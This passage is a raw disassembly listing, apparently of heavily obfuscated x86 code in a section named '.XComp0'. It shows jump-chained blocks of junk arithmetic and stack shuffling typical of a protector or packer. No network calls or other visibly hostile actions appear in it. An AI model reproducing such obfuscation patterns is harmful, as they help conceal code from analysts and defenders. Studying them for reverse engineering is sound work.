.XComp0:0058B9AEj push ebx mov ebx, 32354001h shl ebx, 6 jmp loc_589D49 ; --------------------------------------------------------------------------- loc_58DDE5: ; CODE XREF: .XComp0:00589D30j push 4158h jmp loc_595CF0 ; --------------------------------------------------------------------------- loc_58DDEF: ; CODE XREF: .XComp0:0058FC05j push 426Fh jmp loc_586494 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58D99F ; --------------------------------------------------------------------------- loc_58DE02: ; CODE XREF: .XComp0:0058FD6Dj sub ebp, 4B321235h add ebp, 5FC715Eh jmp loc_5941DD ; --------------------------------------------------------------------------- loc_58DE13: ; CODE XREF: .XComp0:00585A7Bj add esi, 0CA661E9h add esi, edx sub esi, 0CA661E9h push dword ptr [esp] pop edx add esp, 4 jmp loc_58C3DE ; --------------------------------------------------------------------------- loc_58DE2D: ; CODE XREF: .XComp0:00595E72j sub eax, 51866651h push ecx mov ecx, 5C3B53EDh shl ecx, 5 neg ecx dec ecx and ecx, 2D6265C2h neg ecx jmp loc_59825A ; --------------------------------------------------------------------------- loc_58DE4B: ; CODE XREF: .XComp0:00597587j mov eax, esp push edi push ebx jmp loc_58DCBD ; --------------------------------------------------------------------------- loc_58DE54: ; CODE XREF: .XComp0:0058F40Fj pop ebx push eax mov eax, 6304704Ah add edi, eax pop eax add edi, 88F129Bh mov ecx, [esp] push edi jmp loc_58D3C7 ; --------------------------------------------------------------------------- loc_58DE6D: ; CODE XREF: .XComp0:00587D4Fj add dl, 58h sub dl, al sub dl, 58h pop eax xor dl, 63h xor dl, 1Eh sub dl, 6 add dl, 0B6h sub al, 0A0h add al, dl jmp loc_59301E ; --------------------------------------------------------------------------- loc_58DE8B: ; CODE XREF: .XComp0:0058DF0Dj push ebx push 352E3376h pop ebx jmp loc_596ED8 ; --------------------------------------------------------------------------- loc_58DE97: ; CODE XREF: .XComp0:00590EA6j mov bh, 1Fh jmp loc_589D5C ; --------------------------------------------------------------------------- loc_58DE9E: ; CODE XREF: .XComp0:0058B154j pop ecx sub edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], bx mov bh, 0E3h add al, 0F7h jmp loc_589C28 ; --------------------------------------------------------------------------- mov cx, [esp] push eax mov eax, esp jmp loc_59069B ; --------------------------------------------------------------------------- loc_58DEC7: ; CODE XREF: .XComp0:00598271j sub ecx, 5BF52ABDh sub esp, 4 mov [esp], eax mov eax, 4FA941CCh push edx mov edx, 697A1017h add eax, edx pop edx jmp loc_594C84 ; --------------------------------------------------------------------------- loc_58DEE9: ; CODE XREF: .XComp0:0058BAB2j xchg ebp, [esp] jmp loc_58A8A8 ; --------------------------------------------------------------------------- loc_58DEF1: ; CODE XREF: .XComp0:005932A5j push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 4057h mov [esp], ebp push edx jmp loc_58DE8B ; --------------------------------------------------------------------------- loc_58DF12: ; CODE XREF: .XComp0:005920DAj pop ebx xor ebp, 46333894h push edx jmp loc_58A418 ; --------------------------------------------------------------------------- loc_58DF1F: ; CODE XREF: .XComp0:00598E72j push edx mov edx, 1F497B43h xor edx, 4E400423h push edi mov edi, 630E427Fh add edx, edi jmp loc_588F2B ; --------------------------------------------------------------------------- loc_58DF38: ; CODE XREF: .XComp0:0059102Bj push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_583C3A ; --------------------------------------------------------------------------- loc_58DF4F: ; CODE XREF: .XComp0:00585E7Bj add ebx, 4 add ebx, 2 xchg ebx, [esp] jmp loc_58B555 ; --------------------------------------------------------------------------- loc_58DF60: ; CODE XREF: .XComp0:0058494Fj mov edx, 21AC1311h dec edx or edx, 73D31F00h xor edx, 17501732h add edx, 1886253Eh xor edx, 65171548h xor ebp, edx pop edx pop eax mov ebx, 9898B6ADh add ebx, ebp pop ebp add eax, ebx mov ebx, [esp] add esp, 4 add eax, 2 push eax push dword ptr [esp+4] jmp loc_596BE6 ; --------------------------------------------------------------------------- loc_58DFA2: ; CODE XREF: .XComp0:0058DB4Bj add esi, 902BE7CCh mov ecx, esi pop esi mov edx, ecx pop ecx jmp loc_58908D ; --------------------------------------------------------------------------- loc_58DFB3: ; CODE XREF: .XComp0:00593BD4j sub ch, al pop eax jmp loc_588231 ; --------------------------------------------------------------------------- loc_58DFBB: ; CODE XREF: .XComp0:0058CA1Bj sub eax, 5EEE250h or edx, eax pop eax shl edx, 7 jmp loc_598461 ; --------------------------------------------------------------------------- loc_58DFCB: ; CODE XREF: .XComp0:0058ED66j mov ebp, 470F332Eh sub ebp, 0FFFFFFFFh add ebp, 0B8F0CCD5h add esi, 4AB14074h jmp loc_585351 ; --------------------------------------------------------------------------- loc_58DFE4: ; CODE XREF: .XComp0:00595BC6j add esp, 2 and bl, cl mov ecx, [esp] add esp, 4 shl bl, 8 add bl, 12h jmp loc_59158D ; --------------------------------------------------------------------------- loc_58DFFD: ; CODE XREF: .XComp0:00595AB0j and edx, 624014C4h jmp loc_59338C ; --------------------------------------------------------------------------- loc_58E008: ; CODE XREF: .XComp0:0058BB7Ej push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] add esp, 4 push dword ptr [esp] pop ecx add esp, 4 sub al, 0B8h sub al, dh push ebx mov bh, 0F2h xor bh, 4Ah add al, bh mov ebx, [esp] add esp, 4 pop dx push ecx mov cl, 24h shr cl, 5 jmp loc_591938 ; --------------------------------------------------------------------------- loc_58E04A: ; CODE XREF: .XComp0:0058A15Ej push dword ptr [esp] push dword ptr [esp] pop esi push edi mov edi, esp push ecx push ebx jmp loc_58DBA3 ; --------------------------------------------------------------------------- loc_58E05B: ; CODE XREF: .XComp0:005866D7j mov ebp, [esp] add esp, 4 and eax, edx push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_58A31E ; --------------------------------------------------------------------------- loc_58E072: ; CODE XREF: .XComp0:0058463Ej push ebx jmp loc_59240D ; --------------------------------------------------------------------------- loc_58E078: ; CODE XREF: .XComp0:005940CBj pop esp mov [esp], eax jmp loc_588051 ; --------------------------------------------------------------------------- loc_58E081: ; CODE XREF: .XComp0:00592416j push ebx mov bh, 0E1h neg bh jmp loc_595CD8 ; --------------------------------------------------------------------------- loc_58E08B: ; CODE XREF: .XComp0:00586589j push edx not dword ptr [esp] pop edx xor edx, 29E81041h xor ebx, edx pop edx jmp loc_58C8D0 ; --------------------------------------------------------------------------- loc_58E09E: ; CODE XREF: .XComp0:00596508j add esi, edx push dword ptr [esp] pop edx push 7289h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] xor esi, [esp] xor [esp], esi jmp loc_5851B2 ; --------------------------------------------------------------------------- loc_58E0C9: ; CODE XREF: .XComp0:005963A2j push 29BBh mov [esp], eax jmp loc_597EF6 ; --------------------------------------------------------------------------- loc_58E0D6: ; CODE XREF: .XComp0:00593A2Ej mov ecx, 79967714h dec ecx xor ecx, 79967717h add edi, ecx pop ecx add edi, 4 xchg edi, [esp] pop esp add al, bh pop ebx push 67E9h mov [esp], ecx push 4B94h mov [esp], eax mov al, 36h push ebx mov bh, al jmp loc_5896EA ; --------------------------------------------------------------------------- loc_58E10C: ; CODE XREF: .XComp0:00597D1Fj mov ebp, [esp] add esp, 4 and [edi+1Ch], eax push dword ptr [esp] pop eax push 303h mov [esp], eax sub esp, 4 mov [esp], esp jmp loc_589D51 ; --------------------------------------------------------------------------- loc_58E12C: ; CODE XREF: .XComp0:00585762j push edx mov dx, 384Bh add dx, 3F78h add ax, dx jmp loc_591E04 ; --------------------------------------------------------------------------- loc_58E13E: ; CODE XREF: .XComp0:00590BC5j pop esi xor edx, 64FE65D4h neg edx jmp loc_58F16B ; --------------------------------------------------------------------------- loc_58E14C: ; CODE XREF: .XComp0:0058B436j xor [esp], esi xor esi, [esp] jmp loc_58871B ; --------------------------------------------------------------------------- loc_58E157: ; CODE XREF: .XComp0:00584419j push ebp jmp loc_592318 ; --------------------------------------------------------------------------- loc_58E15D: ; CODE XREF: .XComp0:0058822Cj pop edx jmp loc_58838A ; --------------------------------------------------------------------------- loc_58E163: ; CODE XREF: .XComp0:0058EE4Bj sub esp, 4 jmp loc_59569A ; --------------------------------------------------------------------------- loc_58E16E: ; CODE XREF: .XComp0:0058B13Bj inc eax dec eax add eax, 9AAAEC72h jmp loc_58BC17 ; --------------------------------------------------------------------------- loc_58E17A: ; CODE XREF: .XComp0:00592A0Fj mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp mov cx, [esp] sub esp, 4 mov [esp], eax push esp pop eax jmp loc_592987 ; --------------------------------------------------------------------------- loc_58E19B: ; CODE XREF: .XComp0:0058B5B2j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_597802 ; --------------------------------------------------------------------------- loc_58E1AE: ; CODE XREF: .XComp0:00594EBEj or eax, 59E036DAh not eax or eax, 537007A7h push 3395h mov [esp], esi push 0 pop esi jmp loc_589A6C ; --------------------------------------------------------------------------- loc_58E1CD: ; CODE XREF: .XComp0:005886DAj push 1437h mov [esp], eax mov eax, 4 add ecx, 481437E7h add ecx, eax sub ecx, 481437E7h mov eax, [esp] jmp loc_586E99 ; --------------------------------------------------------------------------- lodsd add eax, 23E82A5Ch add eax, ebx sub esp, 4 mov [esp], edi jmp loc_586377 ; --------------------------------------------------------------------------- loc_58E206: ; CODE XREF: .XComp0:0058D0EBj sub al, 28h add al, 49h add al, 5Ah pop ecx push edi push esp jmp loc_58CDFA ; --------------------------------------------------------------------------- loc_58E214: ; CODE XREF: .XComp0:00590F88j mov edi, 4 add ebx, edi pop edi sub ebx, 4 xchg ebx, [esp] jmp loc_59680D ; --------------------------------------------------------------------------- loc_58E227: ; CODE XREF: .XComp0:0058C4F8j mov [esp], ecx push 1DAB7210h jmp loc_59592C ; --------------------------------------------------------------------------- loc_58E234: ; CODE XREF: .XComp0:00595310j pop esi add eax, 5E126A6h push edx mov edx, 15703B46h neg edx and edx, 3FDE0AEDh xor edx, 3C07E67h and eax, edx pop edx neg eax jmp loc_58EEEF ; --------------------------------------------------------------------------- loc_58E258: ; CODE XREF: .XComp0:00598C21j push esi mov esi, 4 add ebp, esi mov esi, [esp] add esp, 4 jmp loc_586F83 ; --------------------------------------------------------------------------- loc_58E26B: ; CODE XREF: .XComp0:0058FE20j push eax mov eax, 456037A9h sub ecx, 12956F51h sub ecx, eax jmp loc_58796E ; --------------------------------------------------------------------------- loc_58E27E: ; CODE XREF: .XComp0:00593823j push ebx jmp loc_58D740 ; --------------------------------------------------------------------------- loc_58E284: ; CODE XREF: .XComp0:00594D08j add ecx, 1 add ecx, 0B6E13445h add eax, ecx jmp loc_589516 ; --------------------------------------------------------------------------- loc_58E297: ; CODE XREF: .XComp0:00584091j sub esp, 4 mov [esp], edx push ebx mov ebx, 491F01BDh mov edx, ebx pop ebx shl edx, 7 sub edx, 8F80DE7Ch add eax, edx push dword ptr [esp] pop edx add esp, 4 push esi mov esi, 0D2546FFh and esi, 7D4B2635h sub esi, 4C0D5EDBh push edx mov edx, 296B0D0Fh and esi, edx jmp loc_595957 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push esp pop ebx push edx push ecx push 3FF2C8Ah pop ecx jmp loc_5921B0 ; --------------------------------------------------------------------------- loc_58E2EE: ; CODE XREF: .XComp0:0058C8AAj shr ebp, 5 or ebp, 4DC8016Eh sub ebp, 0FB9EE2FFh mov eax, ebp pop ebp mov ecx, eax jmp loc_594066 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_58519A ; --------------------------------------------------------------------------- loc_58E316: ; CODE XREF: .XComp0:00593D59j pop ebx xchg edx, [esp] pop esp mov [esp], ecx push eax pop ecx mov eax, ecx push dword ptr [esp] jmp loc_592A36 ; --------------------------------------------------------------------------- loc_58E32A: ; CODE XREF: .XComp0:005873B0j btc [esp], ax pushf jmp loc_584990 ; --------------------------------------------------------------------------- loc_58E335: ; CODE XREF: .XComp0:00589F7Aj sub esp, 4 mov [esp], esp jmp loc_583F43 ; --------------------------------------------------------------------------- loc_58E340: ; CODE XREF: .XComp0:0058B68Dj xor edx, 0C8B7FFB4h push edi mov edi, 49A66CC1h jmp loc_5975A9 ; --------------------------------------------------------------------------- loc_58E351: ; CODE XREF: .XComp0:005926D8j mov edx, edi jmp loc_58B62C ; --------------------------------------------------------------------------- loc_58E358: ; CODE XREF: .XComp0:00587F9Fj mov [esp], edx push 4 pop edx jmp loc_58DBAF ; --------------------------------------------------------------------------- loc_58E366: ; CODE XREF: .XComp0:00594CD2j mov [esp], edx sub esp, 4 push 3E13h push 2B1Dh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] jmp loc_587689 ; --------------------------------------------------------------------------- loc_58E396: ; CODE XREF: .XComp0:005905FBj pop ebx push ebp jmp loc_586911 ; --------------------------------------------------------------------------- loc_58E39D: ; CODE XREF: .XComp0:00590313j mov ecx, 73177782h add eax, ecx pop ecx add eax, 55196EB4h mov esi, [esp] add esp, 4 xor ebx, eax jmp loc_58A246 ; --------------------------------------------------------------------------- loc_58E3BA: ; CODE XREF: .XComp0:0058986Fj mov ebp, edi pop edi pop ebx jmp loc_586D38 ; --------------------------------------------------------------------------- loc_58E3C3: ; CODE XREF: .XComp0:00595B74j push ebx push ecx mov ecx, 39C62F3Fh sub ecx, 2E361D31h xor ecx, 4D236BDCh xor ecx, 53EE244Ch push ebx push edx mov edx, 22BF3EEEh not edx not edx sub edx, 1DA82310h mov ebx, edx pop edx not ebx or ebx, 44A5080Bh xor ebx, 16DA54D8h add ebx, 7FB98108h xor ecx, ebx pop ebx sub ecx, 20E6EA24h mov ebx, ecx pop ecx not ebx push 1B3Fh mov [esp], edi mov edi, 0FFFFFFFFh jmp loc_59326C ; --------------------------------------------------------------------------- loc_58E424: ; CODE XREF: .XComp0:00588C3Ej not edx xchg edx, ecx sub ecx, 11F2210Fh and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 8 neg eax and eax, 7A141292h add eax, 0F6D014F7h mov edx, eax jmp loc_58AB9E ; --------------------------------------------------------------------------- loc_58E44F: ; CODE XREF: .XComp0:00595E9Ej mov esp, [esp] sub [edi+24h], eax push dword ptr [esp] pop eax add esp, 4 jmp loc_591BE0 ; --------------------------------------------------------------------------- loc_58E464: ; CODE XREF: .XComp0:00598946j mov dl, 0F5h add al, dl jmp loc_583D5F ; --------------------------------------------------------------------------- loc_58E46D: ; CODE XREF: .XComp0:00587E71j sub eax, 26D2205h dec eax sub eax, 1 push ecx mov ecx, 4329002Ah jmp loc_596CC3 ; --------------------------------------------------------------------------- loc_58E481: ; CODE XREF: .XComp0:0058701Fj add esp, 4 push ecx jmp loc_58F4F5 ; --------------------------------------------------------------------------- loc_58E48D: ; CODE XREF: .XComp0:005932B0j shr ecx, 2 jmp loc_595F42 ; --------------------------------------------------------------------------- loc_58E495: ; CODE XREF: .XComp0:0058BBCDj mov bh, cl mov dh, bh mov ebx, [esp] add esp, 4 pop ecx jmp loc_597563 ; --------------------------------------------------------------------------- loc_58E4A5: ; CODE XREF: .XComp0:00596D65j sub [esp], ah mov ah, [esp] add esp, 2 xor ah, 61h shr ah, 4 add ah, 84h sub ah, 55h mov ch, ah pop eax sub ch, 0F0h add ch, 52h jmp loc_589CDC ; --------------------------------------------------------------------------- loc_58E4C8: ; CODE XREF: .XComp0:0058915Ej or ecx, 23CC4FD3h shl ecx, 2 jmp loc_595E8D ; --------------------------------------------------------------------------- loc_58E4D6: ; CODE XREF: .XComp0:00594E07j dec ebp jmp loc_597FB6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 4B88h mov [esp], edi push esp pop edi push 57ADh mov [esp], ebp jmp loc_587110 ; --------------------------------------------------------------------------- loc_58E4F7: ; CODE XREF: .XComp0:0059807Ej xchg edi, [esp] pop esp jmp loc_595B8D ; --------------------------------------------------------------------------- loc_58E500: ; CODE XREF: .XComp0:0058C50Cj push ebx mov ebx, 0 push edx push eax push 79670E38h push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, 1C4A3326h jmp loc_58B1A2 ; --------------------------------------------------------------------------- loc_58E52B: ; CODE XREF: .XComp0:005920C0j sub eax, edi pop edi xchg eax, [esp] pop esp mov [esp], eax jmp loc_5923D1 ; --------------------------------------------------------------------------- loc_58E53A: ; CODE XREF: .XComp0:00588B98j add eax, ebp push edi mov edi, 7A8B7B1Dh jmp loc_589B59 ; --------------------------------------------------------------------------- loc_58E547: ; CODE XREF: .XComp0:0059150Dj mov edi, esp jmp loc_58A528 ; --------------------------------------------------------------------------- loc_58E54E: ; CODE XREF: .XComp0:005959CAj pop edx sub [esp+4], edi mov edi, [esp] jmp loc_58E683 ; --------------------------------------------------------------------------- loc_58E55B: ; CODE XREF: .XComp0:0058C93Cj add bl, 49h pop cx push eax jmp loc_59868E ; --------------------------------------------------------------------------- loc_58E566: ; CODE XREF: .XComp0:005957ACj push 0CA0h mov [esp], ecx jmp loc_5940A1 ; --------------------------------------------------------------------------- loc_58E573: ; CODE XREF: .XComp0:00598DC4j sub esi, ecx jmp loc_598127 ; --------------------------------------------------------------------------- loc_58E57A: ; CODE XREF: .XComp0:00596A77j push edi mov edi, 1B6D25EEh shr edi, 7 xor edi, 36DA4Fh add ebp, edi push dword ptr [esp] pop edi push eax jmp loc_589131 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58E5A4: ; CODE XREF: .XComp0:00594C3Cj or edx, 313A21AEh sub edx, 777E2BFBh sub eax, 52575042h add eax, 4961592Eh add eax, edx sub eax, 4961592Eh add eax, 52575042h pop edx add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_588C43 ; --------------------------------------------------------------------------- loc_58E5DB: ; CODE XREF: .XComp0:005902D6j pop esp shl edi, 1 shr edi, 7 add edi, 27717D31h sub eax, 3D876726h sub eax, 3B8552C7h add eax, edi add eax, 3B8552C7h add eax, 3D876726h mov edi, [esp] jmp loc_589A84 ; --------------------------------------------------------------------------- loc_58E605: ; CODE XREF: .XComp0:005979E3j mov [esp], esi pop edx push eax push ebx mov ebx, edx jmp loc_588A42 ; --------------------------------------------------------------------------- loc_58E612: ; CODE XREF: .XComp0:00589660j xor [esp], ecx xor ecx, [esp] pop esp push dword ptr [eax] jmp loc_583A60 ; --------------------------------------------------------------------------- push esi push esp pop esi push eax mov eax, 4 jmp loc_58CF6D ; --------------------------------------------------------------------------- loc_58E62E: ; CODE XREF: .XComp0:0058797Cj push edx jmp loc_587CB6 ; --------------------------------------------------------------------------- loc_58E634: ; CODE XREF: .XComp0:0058881Ej sub ebp, 15056CD4h pop eax pop ebx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_59691B ; --------------------------------------------------------------------------- loc_58E651: ; CODE XREF: .XComp0:0058FF02j add ebx, 40B641D2h pop esi sub ebx, eax push edx push ecx mov ecx, esp jmp loc_58F74F ; --------------------------------------------------------------------------- loc_58E663: ; CODE XREF: .XComp0:00588471j add esi, ebx pop ebx push ecx mov ecx, 6136411Fh jmp loc_598872 ; --------------------------------------------------------------------------- loc_58E671: ; CODE XREF: .XComp0:00595F33j push ecx jmp loc_58F95C ; --------------------------------------------------------------------------- loc_58E677: ; CODE XREF: .XComp0:0058FC4Dj add dword ptr [esp], 4 mov ebx, [esp] jmp loc_594089 ; --------------------------------------------------------------------------- loc_58E683: ; CODE XREF: .XComp0:0058E556j add esp, 4 jmp loc_58DC5B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58E69B: ; CODE XREF: .XComp0:0058CABCj xor edx, 265A1648h push edx jmp loc_593CC7 ; --------------------------------------------------------------------------- loc_58E6A7: ; CODE XREF: .XComp0:0058B58Fj sub ecx, ebp sub ecx, 27FE0B32h jmp loc_590366 ; --------------------------------------------------------------------------- loc_58E6B4: ; CODE XREF: .XComp0:0058B5B9j pop ecx jmp loc_596BAD ; --------------------------------------------------------------------------- loc_58E6BA: ; CODE XREF: .XComp0:0058DD41j sub esp, 4 jmp loc_58A1B0 ; --------------------------------------------------------------------------- loc_58E6C5: ; CODE XREF: .XComp0:00595A67j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp jmp loc_58E7D1 ; --------------------------------------------------------------------------- loc_58E6DA: ; CODE XREF: .XComp0:0058EFA7j pop dword ptr [esp] mov esp, [esp] push edx mov edx, 24h sub edx, 7DF60653h add edx, edi jmp loc_585FAD ; --------------------------------------------------------------------------- loc_58E6F3: ; CODE XREF: .XComp0:0058C731j push edi mov di, 74E7h dec di shr di, 8 xor di, 7C3Ch jmp loc_585759 ; --------------------------------------------------------------------------- loc_58E708: ; CODE XREF: .XComp0:00595BFCj add edx, 4 jmp loc_587D6E ; --------------------------------------------------------------------------- loc_58E713: ; CODE XREF: .XComp0:00585686j add esp, 4 add esi, 4 push ebx mov ebx, 4 add esi, ebx mov ebx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_588BE3 ; --------------------------------------------------------------------------- loc_58E73B: ; CODE XREF: .XComp0:00590679j mov [esp], ecx mov ecx, eax push ecx jmp loc_596FAC ; --------------------------------------------------------------------------- loc_58E746: ; CODE XREF: .XComp0:00589D28j mov esi, 38BE421Ch jmp loc_58FABE ; --------------------------------------------------------------------------- loc_58E750: ; CODE XREF: .XComp0:00588801j add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_586022 ; --------------------------------------------------------------------------- loc_58E764: ; CODE XREF: .XComp0:0059743Dj pop eax push dword ptr [esp] mov eax, [esp] jmp loc_59608E ; --------------------------------------------------------------------------- loc_58E770: ; CODE XREF: .XComp0:0058F1CDj sub esp, 4 jmp loc_5968AF ; --------------------------------------------------------------------------- loc_58E778: ; CODE XREF: .XComp0:0058BDA4j shl ebx, 2 add ebx, 43FE5295h and ebx, 35AA201Eh push edi mov edi, 18766D0Ch jmp loc_596EA5 ; --------------------------------------------------------------------------- loc_58E792: ; CODE XREF: .XComp0:00584388j mov bl, 0D3h jmp loc_58F6C3 ; --------------------------------------------------------------------------- loc_58E799: ; CODE XREF: .XComp0:005966A9j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_586622 ; --------------------------------------------------------------------------- loc_58E7A9: ; CODE XREF: .XComp0:005895BEj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58B860 ; --------------------------------------------------------------------------- loc_58E7BE: ; CODE XREF: .XComp0:005905B6j and ebp, 1B535FAFh not ebp jmp loc_587EE9 ; --------------------------------------------------------------------------- loc_58E7CB: ; CODE XREF: .XComp0:00584BB1j push esp jmp loc_595A66 ; --------------------------------------------------------------------------- loc_58E7D1: ; CODE XREF: .XComp0:0058E6D5j push 7F6C3BB8h mov ebp, [esp] push 53Ah mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_587DE5 ; --------------------------------------------------------------------------- loc_58E7F4: ; CODE XREF: .XComp0:005974CEj add bl, 1Dh add bl, al jmp loc_5869D2 ; --------------------------------------------------------------------------- loc_58E7FE: ; CODE XREF: .XComp0:0058746Dj push eax push ebx mov ebx, 5DDE6DEDh mov eax, ebx pop ebx or eax, 71532EA1h push ecx mov ecx, 33F1130h xor eax, ecx jmp loc_598F67 ; --------------------------------------------------------------------------- loc_58E81A: ; CODE XREF: .XComp0:00598C40j pop edx xchg ebp, [esp] mov esp, [esp] jmp loc_587430 ; --------------------------------------------------------------------------- loc_58E826: ; CODE XREF: .XComp0:00596F58j mov ebx, [esp] add esp, 4 xor edx, 79EF77D2h sub esp, 4 mov [esp], edx add dword ptr [esp], 2CCC6429h pop ecx push edx mov edx, 2CCC6429h sub ecx, edx pop edx mov edx, [esp] jmp loc_593D8B ; --------------------------------------------------------------------------- loc_58E854: ; CODE XREF: .XComp0:00588058j add esp, 4 pop dword ptr [esp] jmp loc_58425B ; --------------------------------------------------------------------------- loc_58E85F: ; CODE XREF: .XComp0:00595BBDj add cl, 8Fh add cl, 5Ah not cl or cl, 34h jmp loc_598FE0 ; --------------------------------------------------------------------------- loc_58E86F: ; CODE XREF: .XComp0:0058EEEAj push dword ptr [esp] pop esi push ebp mov ebp, esp add ebp, 4 jmp loc_586531 ; --------------------------------------------------------------------------- loc_58E881: ; CODE XREF: .XComp0:005962F4j neg edi add edi, 1B1BF6D7h sub ebp, edi jmp loc_584455 ; --------------------------------------------------------------------------- loc_58E890: ; CODE XREF: .XComp0:005854DAj push edx sub dword ptr [esp], 292609Ch pop ecx add ecx, 292609Ch jmp loc_591829 ; --------------------------------------------------------------------------- loc_58E8A4: ; CODE XREF: .XComp0:0058B125j xchg ebx, [esp] mov esp, [esp] and ecx, ebx pop ebx shr ecx, 0Ah push 683Ch mov [esp], ecx sub esp, 4 mov [esp], ebx mov ecx, [esp] push esi push esp pop esi add esi, 4 push ebx mov ebx, 4 add esi, ebx pop ebx xchg esi, [esp] jmp loc_593183 ; --------------------------------------------------------------------------- loc_58E8DB: ; CODE XREF: .XComp0:0058D6AAj sub edx, 33697321h mov ecx, [edx] jmp loc_591CD3 ; --------------------------------------------------------------------------- loc_58E8E8: ; CODE XREF: .XComp0:00585EEEj sub ebx, 2B77F6DBh jmp loc_58DBEA ; --------------------------------------------------------------------------- loc_58E8F3: ; CODE XREF: .XComp0:005975C9j mov esi, 6F97FEFh not esi or esi, 109E7DEDh jmp loc_58EFB6 ; --------------------------------------------------------------------------- loc_58E905: ; CODE XREF: .XComp0:00587B81j mov edi, 44781ECFh jmp loc_591554 ; --------------------------------------------------------------------------- loc_58E90F: ; CODE XREF: .XComp0:0058F330j pop ebx shl ebx, 2 jmp loc_59128C ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp jmp loc_592A58 ; --------------------------------------------------------------------------- loc_58E969: ; CODE XREF: .XComp0:005889E6j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58E96E: ; CODE XREF: .XComp0:00590E14j mov ebp, 1D88379Ch mov edx, ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esi, edx pop edx jmp loc_5873E1 ; --------------------------------------------------------------------------- loc_58E993: ; CODE XREF: .XComp0:0058ABB6j add esp, 4 push 60BDh mov [esp], ebx push esp push dword ptr [esp] pop ebx push 187Dh jmp loc_58A8A0 ; --------------------------------------------------------------------------- loc_58E9AD: ; CODE XREF: .XComp0:0058ECB2j sub ecx, 56BE160Ch sub ecx, 9BF6DB98h sub esi, ecx pop ecx push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx mov ecx, 1E822099h push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_591BB4 ; --------------------------------------------------------------------------- loc_58E9E8: ; CODE XREF: .XComp0:00592F08j mov ecx, 2 add ebp, ecx mov ecx, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_594455 ; --------------------------------------------------------------------------- loc_58EA00: ; CODE XREF: .XComp0:0058C807j xor ebx, [esp] jmp loc_598E36 ; --------------------------------------------------------------------------- loc_58EA08: ; CODE XREF: .XComp0:0058CFE1j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5982E4 ; --------------------------------------------------------------------------- loc_58EA16: ; CODE XREF: .XComp0:0058FFCCj mov ebx, [esp] add esp, 4 add edi, ebx sub edi, 2C08618Eh pop ebx push ecx jmp loc_59898B ; --------------------------------------------------------------------------- loc_58EA2B: ; CODE XREF: .XComp0:00585211j pop edx push ebx push 0FC6h mov [esp], edx jmp loc_59115E ; --------------------------------------------------------------------------- loc_58EA3A: ; CODE XREF: .XComp0:0058D3D5j xchg edi, [esp] pop esp jmp loc_58D435 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp push dword ptr [esp] pop esi add esp, 4 push edi sub esp, 4 mov [esp], ecx jmp loc_586D9C ; --------------------------------------------------------------------------- loc_58EA5C: ; CODE XREF: .XComp0:0058BBEAj push dword ptr [esp] pop ecx add esp, 4 push ecx jmp loc_58DA01 ; --------------------------------------------------------------------------- loc_58EA6C: ; CODE XREF: .XComp0:0058FA47j shr ecx, 1 add ecx, 0EF0AB8A1h sub edi, ecx mov ecx, [esp] add esp, 4 pop esi push edi push dword ptr [esp+4] mov edi, [esp] jmp loc_58EA93 ; --------------------------------------------------------------------------- loc_58EA8D: ; CODE XREF: .XComp0:00589DB5j pop ecx jmp loc_583D87 ; --------------------------------------------------------------------------- loc_58EA93: ; CODE XREF: .XComp0:0058EA88j push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_592DCA ; --------------------------------------------------------------------------- loc_58EAA7: ; CODE XREF: .XComp0:00597C00j add esi, 4 push edi mov edi, 4 add esi, edi pop edi jmp loc_596E56 ; --------------------------------------------------------------------------- loc_58EABB: ; CODE XREF: .XComp0:0058C3E7j add esi, 4 push 1E8Ah mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, 